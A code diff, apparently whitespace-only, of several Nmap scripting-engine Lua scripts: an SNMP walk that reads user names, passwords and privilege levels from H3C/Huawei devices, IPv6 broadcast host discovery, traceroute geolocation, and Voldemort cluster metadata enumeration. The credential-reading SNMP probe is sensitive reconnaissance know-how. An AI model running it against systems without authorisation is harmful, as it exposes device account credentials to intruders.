--- Processes the table and creates the script output --- Processes the table and creates the script output
@@ -77,81 +77,81 @@ end
-- @return <code>stdnse.output_table</code> formatted table -- @return <code>stdnse.output_table</code> formatted table
function process_answer( tbl ) function process_answer( tbl )
-- h3c-user MIB OIDs (oldoid) -- h3c-user MIB OIDs (oldoid)
local h3cUserName = "1.3.6.1.4.1.2011.10.2.12.1.1.1.1" local h3cUserName = "1.3.6.1.4.1.2011.10.2.12.1.1.1.1"
local h3cUserPassword = "1.3.6.1.4.1.2011.10.2.12.1.1.1.2" local h3cUserPassword = "1.3.6.1.4.1.2011.10.2.12.1.1.1.2"
local h3cUserLevel = "1.3.6.1.4.1.2011.10.2.12.1.1.1.4" local h3cUserLevel = "1.3.6.1.4.1.2011.10.2.12.1.1.1.4"
local h3cUserState = "1.3.6.1.4.1.2011.10.2.12.1.1.1.5" local h3cUserState = "1.3.6.1.4.1.2011.10.2.12.1.1.1.5"
-- hh3c-user MIB OIDs (newoid) -- hh3c-user MIB OIDs (newoid)
local hh3cUserName = "1.3.6.1.4.1.25506.2.12.1.1.1.1" local hh3cUserName = "1.3.6.1.4.1.25506.2.12.1.1.1.1"
local hh3cUserPassword = "1.3.6.1.4.1.25506.2.12.1.1.1.2" local hh3cUserPassword = "1.3.6.1.4.1.25506.2.12.1.1.1.2"
local hh3cUserLevel = "1.3.6.1.4.1.25506.2.12.1.1.1.4" local hh3cUserLevel = "1.3.6.1.4.1.25506.2.12.1.1.1.4"
local hh3cUserState = "1.3.6.1.4.1.25506.2.12.1.1.1.5" local hh3cUserState = "1.3.6.1.4.1.25506.2.12.1.1.1.5"
local output = stdnse.output_table() local output = stdnse.output_table()
output.users = {} output.users = {}
for _, v in ipairs( tbl ) do for _, v in ipairs( tbl ) do
if ( v.oid:match("^" .. h3cUserName) ) then if ( v.oid:match("^" .. h3cUserName) ) then
local item = {} local item = {}
local oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserPassword) local oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserPassword)
local password = get_value_from_table( tbl, oldobjid ) local password = get_value_from_table( tbl, oldobjid )
if ( password == nil ) or ( #password == 0 ) then if ( password == nil ) or ( #password == 0 ) then
local newobjid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserPassword) local newobjid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserPassword)
password = get_value_from_table( tbl, newobjid ) password = get_value_from_table( tbl, newobjid )
end end
oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserLevel) oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserLevel)
local level = get_value_from_table( tbl, oldobjid ) local level = get_value_from_table( tbl, oldobjid )
if ( level == nil ) then if ( level == nil ) then
local newobjoid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserLevel) local newobjoid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserLevel)
level = get_value_from_table( tbl, oldobjid ) level = get_value_from_table( tbl, oldobjid )
end end
output.users[#output.users + 1] = {username=v.value, password=password, level=level} output.users[#output.users + 1] = {username=v.value, password=password, level=level}
end end
end end
return output return output
end end
action = function(host, port) action = function(host, port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
local catch = function() socket:close() end local catch = function() socket:close() end
local try = nmap.new_try(catch) local try = nmap.new_try(catch)
local data, oldsnmpoid = nil, "1.3.6.1.4.1.2011.10.2.12.1.1.1" local data, oldsnmpoid = nil, "1.3.6.1.4.1.2011.10.2.12.1.1.1"
local data, newsnmpoid = nil, "1.3.6.1.4.1.25506.2.12.1.1.1" local data, newsnmpoid = nil, "1.3.6.1.4.1.25506.2.12.1.1.1"
local users = {} local users = {}
local status local status
socket:set_timeout(5000) socket:set_timeout(5000)
try(socket:connect(host, port)) try(socket:connect(host, port))
status, users = snmp.snmpWalk( socket, oldsnmpoid ) status, users = snmp.snmpWalk( socket, oldsnmpoid )
socket:close() socket:close()
if (not(status)) or ( users == nil ) or ( #users == 0 ) then if (not(status)) or ( users == nil ) or ( #users == 0 ) then
-- no status? try new snmp oid -- no status? try new snmp oid
socket:set_timeout(5000) socket:set_timeout(5000)
try(socket:connect(host, port)) try(socket:connect(host, port))
status, users = snmp.snmpWalk( socket, newsnmpoid ) status, users = snmp.snmpWalk( socket, newsnmpoid )
socket:close() socket:close()
if (not(status)) or ( users == nil ) or ( #users == 0 ) then if (not(status)) or ( users == nil ) or ( #users == 0 ) then
return users return users
end end
end end
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
return process_answer(users) return process_answer(users)
end end

View File

@@ -32,139 +32,139 @@ categories = {"discovery","broadcast"}
prerule = function() prerule = function()
return nmap.is_privileged() return nmap.is_privileged()
end end
local function get_interfaces() local function get_interfaces()
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface") local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
or nmap.get_interface() or nmap.get_interface()
-- interfaces list (decide which interfaces to broadcast on) -- interfaces list (decide which interfaces to broadcast on)
local interfaces = {} local interfaces = {}
if interface_name then if interface_name then
-- single interface defined -- single interface defined
local if_table = nmap.get_interface_info(interface_name) local if_table = nmap.get_interface_info(interface_name)
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
interfaces[#interfaces + 1] = if_table interfaces[#interfaces + 1] = if_table
else else
stdnse.print_debug("Interface not supported or not properly configured.") stdnse.print_debug("Interface not supported or not properly configured.")
end end
else else
for _, if_table in ipairs(nmap.list_interfaces()) do for _, if_table in ipairs(nmap.list_interfaces()) do
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
table.insert(interfaces, if_table) table.insert(interfaces, if_table)
end end
end end
end end
return interfaces return interfaces
end end
local function single_interface_broadcast(if_nfo, results) local function single_interface_broadcast(if_nfo, results)
stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device) stdnse.print_debug("Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
local condvar = nmap.condvar(results) local condvar = nmap.condvar(results)
local src_mac = if_nfo.mac local src_mac = if_nfo.mac
local src_ip6 = packet.ip6tobin(if_nfo.address) local src_ip6 = packet.ip6tobin(if_nfo.address)
local dst_mac = packet.mactobin("33:33:00:00:00:01") local dst_mac = packet.mactobin("33:33:00:00:00:01")
local dst_ip6 = packet.ip6tobin("ff02::1") local dst_ip6 = packet.ip6tobin("ff02::1")
---------------------------------------------------------------------------- ----------------------------------------------------------------------------
--Multicast echo ping probe --Multicast echo ping probe
local dnet = nmap.new_dnet() local dnet = nmap.new_dnet()
local pcap = nmap.new_socket() local pcap = nmap.new_socket()
local function catch () local function catch ()
dnet:ethernet_close() dnet:ethernet_close()
pcap:pcap_close() pcap:pcap_close()
end
local try = nmap.new_try(catch)
try(dnet:ethernet_open(if_nfo.device))
pcap:pcap_open(if_nfo.device, 128, false, "icmp6 and ip6[6:1] = 58 and ip6[40:1] = 129")
local probe = packet.Frame:new()
probe.mac_src = src_mac
probe.mac_dst = dst_mac
probe.ip_bin_src = src_ip6
probe.ip_bin_dst = dst_ip6
probe.echo_id = 5
probe.echo_seq = 6
probe.echo_data = "Nmap host discovery."
probe:build_icmpv6_echo_request()
probe:build_icmpv6_header()
probe:build_ipv6_packet()
probe:build_ether_frame()
try(dnet:ethernet_send(probe.frame_buf))
pcap:set_timeout(1000)
local pcap_timeout_count = 0
local nse_timeout = 5
local start_time = nmap:clock()
local cur_time = nmap:clock()
repeat
local status, length, layer2, layer3 = pcap:pcap_receive()
cur_time = nmap:clock()
if not status then
pcap_timeout_count = pcap_timeout_count + 1
else
local reply = packet.Frame:new(layer2..layer3)
if reply.mac_dst == src_mac then
local target_str = reply.ip_src
if not results[target_str] then
if target.ALLOW_NEW_TARGETS then
target.add(target_str)
end
results[#results + 1] = { address = target_str, mac = stdnse.format_mac(reply.mac_src), iface = if_nfo.device }
results[target_str] = true
end
end
end end
local try = nmap.new_try(catch) until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
try(dnet:ethernet_open(if_nfo.device)) dnet:ethernet_close()
pcap:pcap_open(if_nfo.device, 128, false, "icmp6 and ip6[6:1] = 58 and ip6[40:1] = 129") pcap:pcap_close()
local probe = packet.Frame:new() condvar("signal")
probe.mac_src = src_mac
probe.mac_dst = dst_mac
probe.ip_bin_src = src_ip6
probe.ip_bin_dst = dst_ip6
probe.echo_id = 5
probe.echo_seq = 6
probe.echo_data = "Nmap host discovery."
probe:build_icmpv6_echo_request()
probe:build_icmpv6_header()
probe:build_ipv6_packet()
probe:build_ether_frame()
try(dnet:ethernet_send(probe.frame_buf))
pcap:set_timeout(1000)
local pcap_timeout_count = 0
local nse_timeout = 5
local start_time = nmap:clock()
local cur_time = nmap:clock()
repeat
local status, length, layer2, layer3 = pcap:pcap_receive()
cur_time = nmap:clock()
if not status then
pcap_timeout_count = pcap_timeout_count + 1
else
local reply = packet.Frame:new(layer2..layer3)
if reply.mac_dst == src_mac then
local target_str = reply.ip_src
if not results[target_str] then
if target.ALLOW_NEW_TARGETS then
target.add(target_str)
end
results[#results + 1] = { address = target_str, mac = stdnse.format_mac(reply.mac_src), iface = if_nfo.device }
results[target_str] = true
end
end
end
until pcap_timeout_count >= 2 or cur_time - start_time >= nse_timeout
dnet:ethernet_close()
pcap:pcap_close()
condvar("signal")
end end
local function format_output(results) local function format_output(results)
local output = tab.new() local output = tab.new()
for _, record in ipairs(results) do for _, record in ipairs(results) do
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface) tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
end end
if #results > 0 then if #results > 0 then
output = { tab.dump(output) } output = { tab.dump(output) }
if not target.ALLOW_NEW_TARGETS then if not target.ALLOW_NEW_TARGETS then
output[#output + 1] = "Use --script-args=newtargets to add the results as targets" output[#output + 1] = "Use --script-args=newtargets to add the results as targets"
end end
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end
end end
action = function() action = function()
local threads = {} local threads = {}
local results = {} local results = {}
local condvar = nmap.condvar(results) local condvar = nmap.condvar(results)
for _, if_nfo in ipairs(get_interfaces()) do for _, if_nfo in ipairs(get_interfaces()) do
-- create a thread for each interface -- create a thread for each interface
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results) local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
threads[co] = true threads[co] = true
end end
repeat repeat
for thread in pairs(threads) do for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end if coroutine.status(thread) == "dead" then threads[thread] = nil end
end end
if ( next(threads) ) then if ( next(threads) ) then
condvar "wait" condvar "wait"
end end
until next(threads) == nil until next(threads) == nil
return format_output(results) return format_output(results)
end end

View File

@@ -35,146 +35,146 @@ categories = {"discovery","broadcast"}
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. '.timeout')) local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. '.timeout'))
prerule = function() prerule = function()
if ( not(nmap.is_privileged()) ) then if ( not(nmap.is_privileged()) ) then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME) stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false return false
end end
return true return true
end end
local function get_interfaces() local function get_interfaces()
local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface") local interface_name = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
or nmap.get_interface() or nmap.get_interface()
-- interfaces list (decide which interfaces to broadcast on) -- interfaces list (decide which interfaces to broadcast on)
local interfaces = {} local interfaces = {}
if interface_name then if interface_name then
-- single interface defined -- single interface defined
local if_table = nmap.get_interface_info(interface_name) local if_table = nmap.get_interface_info(interface_name)
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
interfaces[#interfaces + 1] = if_table interfaces[#interfaces + 1] = if_table
else else
stdnse.print_debug("Interface not supported or not properly configured.") stdnse.print_debug("Interface not supported or not properly configured.")
end end
else else
for _, if_table in ipairs(nmap.list_interfaces()) do for _, if_table in ipairs(nmap.list_interfaces()) do
if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then if packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
table.insert(interfaces, if_table) table.insert(interfaces, if_table)
end end
end end
end end
return interfaces return interfaces
end end
local function single_interface_broadcast(if_nfo, results) local function single_interface_broadcast(if_nfo, results)
stdnse.print_debug(2, "Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device) stdnse.print_debug(2, "Starting " .. SCRIPT_NAME .. " on " .. if_nfo.device)
local condvar = nmap.condvar(results) local condvar = nmap.condvar(results)
local src_mac = if_nfo.mac local src_mac = if_nfo.mac
local src_ip6 = packet.ip6tobin(if_nfo.address) local src_ip6 = packet.ip6tobin(if_nfo.address)
local dst_mac = packet.mactobin("33:33:00:00:00:01") local dst_mac = packet.mactobin("33:33:00:00:00:01")
local dst_ip6 = packet.ip6tobin("ff02::1") local dst_ip6 = packet.ip6tobin("ff02::1")
local gen_qry = packet.ip6tobin("::") local gen_qry = packet.ip6tobin("::")
local dnet = nmap.new_dnet() local dnet = nmap.new_dnet()
local pcap = nmap.new_socket() local pcap = nmap.new_socket()
dnet:ethernet_open(if_nfo.device) dnet:ethernet_open(if_nfo.device)
pcap:pcap_open(if_nfo.device, 1500, false, "ip6[40:1] == 58") pcap:pcap_open(if_nfo.device, 1500, false, "ip6[40:1] == 58")
local probe = packet.Frame:new() local probe = packet.Frame:new()
probe.mac_src = src_mac probe.mac_src = src_mac
probe.mac_dst = dst_mac probe.mac_dst = dst_mac
probe.ip_bin_src = src_ip6 probe.ip_bin_src = src_ip6
probe.ip_bin_dst = dst_ip6 probe.ip_bin_dst = dst_ip6
probe.ip6_tc = 0 probe.ip6_tc = 0
probe.ip6_fl = 0 probe.ip6_fl = 0
probe.ip6_hlimit = 1 probe.ip6_hlimit = 1
probe.icmpv6_type = packet.MLD_LISTENER_QUERY probe.icmpv6_type = packet.MLD_LISTENER_QUERY
probe.icmpv6_code = 0 probe.icmpv6_code = 0
-- Add a non-empty payload too. -- Add a non-empty payload too.
probe.icmpv6_payload = bin.pack("HA", "00 00 00 00", gen_qry) probe.icmpv6_payload = bin.pack("HA", "00 00 00 00", gen_qry)
probe:build_icmpv6_header() probe:build_icmpv6_header()
probe.exheader = bin.pack("CH", packet.IPPROTO_ICMPV6, "00 05 02 00 00 01 00") probe.exheader = bin.pack("CH", packet.IPPROTO_ICMPV6, "00 05 02 00 00 01 00")
probe.ip6_nhdr = packet.IPPROTO_HOPOPTS probe.ip6_nhdr = packet.IPPROTO_HOPOPTS
probe:build_ipv6_packet() probe:build_ipv6_packet()
probe:build_ether_frame() probe:build_ether_frame()
dnet:ethernet_send(probe.frame_buf) dnet:ethernet_send(probe.frame_buf)
pcap:set_timeout(1000) pcap:set_timeout(1000)
local pcap_timeout_count = 0 local pcap_timeout_count = 0
local nse_timeout = arg_timeout or 10 local nse_timeout = arg_timeout or 10
local start_time = nmap:clock() local start_time = nmap:clock()
local addrs = {} local addrs = {}
repeat repeat
local status, length, layer2, layer3 = pcap:pcap_receive() local status, length, layer2, layer3 = pcap:pcap_receive()
local cur_time = nmap:clock() local cur_time = nmap:clock()
if ( status ) then if ( status ) then
local l2reply = packet.Frame:new(layer2) local l2reply = packet.Frame:new(layer2)
local reply = packet.Packet:new(layer3, length, true) local reply = packet.Packet:new(layer3, length, true)
if ( reply.ip6_nhdr == packet.MLD_LISTENER_REPORT or if ( reply.ip6_nhdr == packet.MLD_LISTENER_REPORT or
reply.ip6_nhdr == packet.MLDV2_LISTENER_REPORT ) then reply.ip6_nhdr == packet.MLDV2_LISTENER_REPORT ) then
local target_str = reply.ip_src local target_str = reply.ip_src
if not results[target_str] then if not results[target_str] then
if target.ALLOW_NEW_TARGETS then if target.ALLOW_NEW_TARGETS then
target.add(target_str) target.add(target_str)
end end
results[target_str] = { address = target_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device } results[target_str] = { address = target_str, mac = stdnse.format_mac(l2reply.mac_src), iface = if_nfo.device }
end end
end end
end end
until ( cur_time - start_time >= nse_timeout ) until ( cur_time - start_time >= nse_timeout )
dnet:ethernet_close() dnet:ethernet_close()
pcap:pcap_close() pcap:pcap_close()
condvar("signal") condvar("signal")
end end
local function format_output(results) local function format_output(results)
local output = tab.new() local output = tab.new()
for _, record in pairs(results) do for _, record in pairs(results) do
tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface) tab.addrow(output, "IP: " .. record.address, "MAC: " .. record.mac, "IFACE: " .. record.iface)
end end
if ( #output > 0 ) then if ( #output > 0 ) then
output = { tab.dump(output) } output = { tab.dump(output) }
if not target.ALLOW_NEW_TARGETS then if not target.ALLOW_NEW_TARGETS then
table.insert(output, "") table.insert(output, "")
table.insert(output, "Use --script-args=newtargets to add the results as targets") table.insert(output, "Use --script-args=newtargets to add the results as targets")
end end
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end
end end
action = function() action = function()
local threads = {} local threads = {}
local results = {} local results = {}
local condvar = nmap.condvar(results) local condvar = nmap.condvar(results)
for _, if_nfo in ipairs(get_interfaces()) do for _, if_nfo in ipairs(get_interfaces()) do
-- create a thread for each interface -- create a thread for each interface
local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results) local co = stdnse.new_thread(single_interface_broadcast, if_nfo, results)
threads[co] = true threads[co] = true
end end
repeat repeat
for thread in pairs(threads) do for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then threads[thread] = nil end if coroutine.status(thread) == "dead" then threads[thread] = nil end
end end
if ( next(threads) ) then if ( next(threads) ) then
condvar "wait" condvar "wait"
end end
until next(threads) == nil until next(threads) == nil
return format_output(results) return format_output(results)
end end

View File

@@ -71,42 +71,42 @@ categories = {"safe", "external", "discovery"}
local arg_kmlfile = stdnse.get_script_args(SCRIPT_NAME .. ".kmlfile") local arg_kmlfile = stdnse.get_script_args(SCRIPT_NAME .. ".kmlfile")
hostrule = function(host) hostrule = function(host)
if ( not(host.traceroute) ) then if ( not(host.traceroute) ) then
return false return false
end end
return true return true
end end
-- --
-- GeoPlugin requires no API key and has no limitations on lookups -- GeoPlugin requires no API key and has no limitations on lookups
-- --
local function geoLookup(ip) local function geoLookup(ip)
local response = http.get("www.geoplugin.net", 80, "/json.gp?ip="..ip) local response = http.get("www.geoplugin.net", 80, "/json.gp?ip="..ip)
local stat, loc = json.parse(response.body) local stat, loc = json.parse(response.body)
if not stat then return nil end if not stat then return nil end
local output = {} local output = {}
local regionName = (loc.geoplugin_regionName == json.NULL) and "Unknown" or loc.geoplugin_regionName local regionName = (loc.geoplugin_regionName == json.NULL) and "Unknown" or loc.geoplugin_regionName
return loc.geoplugin_latitude, loc.geoplugin_longitude, regionName, loc.geoplugin_countryName return loc.geoplugin_latitude, loc.geoplugin_longitude, regionName, loc.geoplugin_countryName
end end
local function createKMLFile(filename, coords) local function createKMLFile(filename, coords)
local header = '<?xml version="1.0" encoding="UTF-8"?><kml xmlns="http://earth.google.com/kml/2.0"><Document><Placemark><LineString><coordinates>\r\n' local header = '<?xml version="1.0" encoding="UTF-8"?><kml xmlns="http://earth.google.com/kml/2.0"><Document><Placemark><LineString><coordinates>\r\n'
local footer = '</coordinates></LineString><Style><LineStyle><color>#ff0000ff</color></LineStyle></Style></Placemark></Document></kml>' local footer = '</coordinates></LineString><Style><LineStyle><color>#ff0000ff</color></LineStyle></Style></Placemark></Document></kml>'
local output = "" local output = ""
for _, coord in ipairs(coords) do for _, coord in ipairs(coords) do
output = output .. ("%s,%s, 0.\r\n"):format(coord.lon, coord.lat) output = output .. ("%s,%s, 0.\r\n"):format(coord.lon, coord.lat)
end end
local f = io.open(filename, "w") local f = io.open(filename, "w")
if ( not(f) ) then if ( not(f) ) then
return false, "Failed to create KML file" return false, "Failed to create KML file"
end end
f:write(header .. output .. footer) f:write(header .. output .. footer)
f:close() f:close()
return true return true
end end
-- Tables used to accumulate output. -- Tables used to accumulate output.
@@ -115,53 +115,53 @@ local output = tab.new(4)
local coordinates = {} local coordinates = {}
local function output_hop(count, ip, name, rtt, lat, lon, ctry, reg) local function output_hop(count, ip, name, rtt, lat, lon, ctry, reg)
if ip then if ip then
local label local label
if name then if name then
label = ("%s (%s)"):format(name or "", ip) label = ("%s (%s)"):format(name or "", ip)
else else
label = ("%s"):format(ip) label = ("%s"):format(ip)
end end
if lat then if lat then
table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt), lat = lat, lon = lon }) table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt), lat = lat, lon = lon })
tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%d,%d %s (%s)"):format(lat, lon, ctry, reg)) tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%d,%d %s (%s)"):format(lat, lon, ctry, reg))
table.insert(coordinates, { hop = count, lat = lat, lon = lon }) table.insert(coordinates, { hop = count, lat = lat, lon = lon })
else else
table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt) }) table.insert(output_structured, { hop = count, ip = ip, hostname = name, rtt = ("%.2f"):format(rtt) })
tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%s,%s"):format("- ", "- ")) tab.addrow(output, count, ("%.2f"):format(rtt), label, ("%s,%s"):format("- ", "- "))
end end
else else
table.insert(output_structured, { hop = count }) table.insert(output_structured, { hop = count })
tab.addrow(output, count, "...") tab.addrow(output, count, "...")
end end
end end
action = function(host) action = function(host)
tab.addrow(output, "HOP", "RTT", "ADDRESS", "GEOLOCATION") tab.addrow(output, "HOP", "RTT", "ADDRESS", "GEOLOCATION")
for count = 1, #host.traceroute do for count = 1, #host.traceroute do
local hop = host.traceroute[count] local hop = host.traceroute[count]
-- avoid timedout hops, marked as empty entries -- avoid timedout hops, marked as empty entries
-- do not add the current scanned host.ip -- do not add the current scanned host.ip
if hop.ip then if hop.ip then
local rtt = tonumber(hop.times.srtt) * 1000 local rtt = tonumber(hop.times.srtt) * 1000
if ( not(ipOps.isPrivate(hop.ip) ) ) then if ( not(ipOps.isPrivate(hop.ip) ) ) then
local lat, lon, reg, ctry = geoLookup(hop.ip) local lat, lon, reg, ctry = geoLookup(hop.ip)
output_hop(count, hop.ip, hop.name, rtt, lat, lon, ctry, reg) output_hop(count, hop.ip, hop.name, rtt, lat, lon, ctry, reg)
else else
output_hop(count, hop.ip, hop.name, rtt) output_hop(count, hop.ip, hop.name, rtt)
end end
else else
output_hop(count) output_hop(count)
end end
end end
if (#output_structured > 0) then if (#output_structured > 0) then
output = tab.dump(output) output = tab.dump(output)
if ( arg_kmlfile ) then if ( arg_kmlfile ) then
if ( not(createKMLFile(arg_kmlfile, coordinates)) ) then if ( not(createKMLFile(arg_kmlfile, coordinates)) ) then
output = output .. ("\n\nERROR: Failed to write KML to file: %s"):format(arg_kmlfile) output = output .. ("\n\nERROR: Failed to write KML to file: %s"):format(arg_kmlfile)
end end
end end
return output_structured, stdnse.format_output(true, output) return output_structured, stdnse.format_output(true, output)
end end
end end

View File

@@ -52,27 +52,27 @@ local function fail(err) return ("\n ERROR: %s"):format(err or "") end
-- @return status true on success, false on failure -- @return status true on success, false on failure
-- @return socket connected to the server -- @return socket connected to the server
local function connect(host, port) local function connect(host, port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
socket:set_timeout(5000) socket:set_timeout(5000)
local status, err = socket:connect(host, port) local status, err = socket:connect(host, port)
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to connect to server" return false, "Failed to connect to server"
end end
status, err = socket:send("vp3") status, err = socket:send("vp3")
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to send request to server" return false, "Failed to send request to server"
end end
local response local response
status, response = socket:receive(2) status, response = socket:receive(2)
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to receive response from server" return false, "Failed to receive response from server"
elseif( response ~= "ok" ) then elseif( response ~= "ok" ) then
return false, "Unsupported protocol" return false, "Unsupported protocol"
end end
return true, socket return true, socket
end end
-- Get Voldemort metadata -- Get Voldemort metadata
@@ -82,92 +82,92 @@ end
-- @return data string as received from the server -- @return data string as received from the server
local function getMetadata(socket, file) local function getMetadata(socket, file)
local req = bin.pack(">HCzIcz", "0100", #("metadata"), "metadata", 0, #file, file) local req = bin.pack(">HCzIcz", "0100", #("metadata"), "metadata", 0, #file, file)
local status, err = socket:send(req) local status, err = socket:send(req)
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to send request to server" return false, "Failed to send request to server"
end end
local status, data = socket:receive(8) local status, data = socket:receive(8)
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to receive response from server" return false, "Failed to receive response from server"
end end
local _, len = bin.unpack(">S", data, 9) local _, len = bin.unpack(">S", data, 9)
while( #data < len - 2 ) do while( #data < len - 2 ) do
local status, tmp = socket:receive(len - 2 - #data) local status, tmp = socket:receive(len - 2 - #data)
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to receive response from server" return false, "Failed to receive response from server"
end end
data = data .. tmp data = data .. tmp
end end
return true, data return true, data
end end
action = function(host, port) action = function(host, port)
-- table of variables to query the server -- table of variables to query the server
local vars = { local vars = {
["cluster"] = { ["cluster"] = {
{ key = "Name", match = "<cluster>.-<name>(.-)</name>" }, { key = "Name", match = "<cluster>.-<name>(.-)</name>" },
{ key = "Id", match = "<cluster>.-<server>.-<id>(%d-)</id>.-</server>" }, { key = "Id", match = "<cluster>.-<server>.-<id>(%d-)</id>.-</server>" },
{ key = "Host", match = "<cluster>.-<server>.-<host>(%w-)</host>.-</server>" }, { key = "Host", match = "<cluster>.-<server>.-<host>(%w-)</host>.-</server>" },
{ key = "HTTP Port", match = "<cluster>.-<server>.-<http%-port>(%d-)</http%-port>.-</server>" }, { key = "HTTP Port", match = "<cluster>.-<server>.-<http%-port>(%d-)</http%-port>.-</server>" },
{ key = "TCP Port", match = "<cluster>.-<server>.-<socket%-port>(%d-)</socket%-port>.-</server>" }, { key = "TCP Port", match = "<cluster>.-<server>.-<socket%-port>(%d-)</socket%-port>.-</server>" },
{ key = "Admin Port", match = "<cluster>.-<server>.-<admin%-port>(%d-)</admin%-port>.-</server>" }, { key = "Admin Port", match = "<cluster>.-<server>.-<admin%-port>(%d-)</admin%-port>.-</server>" },
{ key = "Partitions", match = "<cluster>.-<server>.-<partitions>([%d%s,]*)</partitions>.-</server>" }, { key = "Partitions", match = "<cluster>.-<server>.-<partitions>([%d%s,]*)</partitions>.-</server>" },
}, },
["store"] = { ["store"] = {
{ key = "Persistence", match = "<store>.-<persistence>(.-)</persistence>" }, { key = "Persistence", match = "<store>.-<persistence>(.-)</persistence>" },
{ key = "Description", match = "<store>.-<description>(.-)</description>" }, { key = "Description", match = "<store>.-<description>(.-)</description>" },
{ key = "Owners", match = "<store>.-<owners>(.-)</owners>" }, { key = "Owners", match = "<store>.-<owners>(.-)</owners>" },
{ key = "Routing strategy", match = "<store>.-<routing%-strategy>(.-)</routing%-strategy>" }, { key = "Routing strategy", match = "<store>.-<routing%-strategy>(.-)</routing%-strategy>" },
{ key = "Routing", match = "<store>.-<routing>(.-)</routing>" }, { key = "Routing", match = "<store>.-<routing>(.-)</routing>" },
}, },
} }
-- connect to the server -- connect to the server
local status, socket = connect(host, port) local status, socket = connect(host, port)
if ( not(status) ) then if ( not(status) ) then
return fail(socket) return fail(socket)
end end
-- get the cluster meta data -- get the cluster meta data
local status, response = getMetadata(socket, "cluster.xml") local status, response = getMetadata(socket, "cluster.xml")
if ( not(status) or not(response:match("<cluster>.*</cluster>")) ) then if ( not(status) or not(response:match("<cluster>.*</cluster>")) ) then
return return
end end
-- Get the cluster details -- Get the cluster details
local cluster_tbl = { name = "Cluster" } local cluster_tbl = { name = "Cluster" }
for _, item in ipairs(vars["cluster"]) do for _, item in ipairs(vars["cluster"]) do
local val = response:match(item.match) local val = response:match(item.match)
if ( val ) then if ( val ) then
table.insert(cluster_tbl, ("%s: %s"):format(item.key, val)) table.insert(cluster_tbl, ("%s: %s"):format(item.key, val))
end end
end end
-- get the stores meta data -- get the stores meta data
local status, response = getMetadata(socket, "stores.xml") local status, response = getMetadata(socket, "stores.xml")
if ( not(status) or not(response:match("<stores>.-</stores>")) ) then if ( not(status) or not(response:match("<stores>.-</stores>")) ) then
return return
end end
local result, stores = {}, { name = "Stores" } local result, stores = {}, { name = "Stores" }
table.insert(result, cluster_tbl) table.insert(result, cluster_tbl)
-- iterate over store items -- iterate over store items
for store in response:gmatch("<store>.-</store>") do for store in response:gmatch("<store>.-</store>") do
local name = store:match("<store>.-<name>(.-)</name>") local name = store:match("<store>.-<name>(.-)</name>")
local store_tbl = { name = name or "unknown" } local store_tbl = { name = name or "unknown" }
for _, item in ipairs(vars["store"]) do for _, item in ipairs(vars["store"]) do
local val = store:match(item.match) local val = store:match(item.match)
if ( val ) then if ( val ) then
table.insert(store_tbl, ("%s: %s"):format(item.key, val)) table.insert(store_tbl, ("%s: %s"):format(item.key, val))
end end
end end
table.insert(stores, store_tbl) table.insert(stores, store_tbl)
end end
table.insert(result, stores) table.insert(result, stores)
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end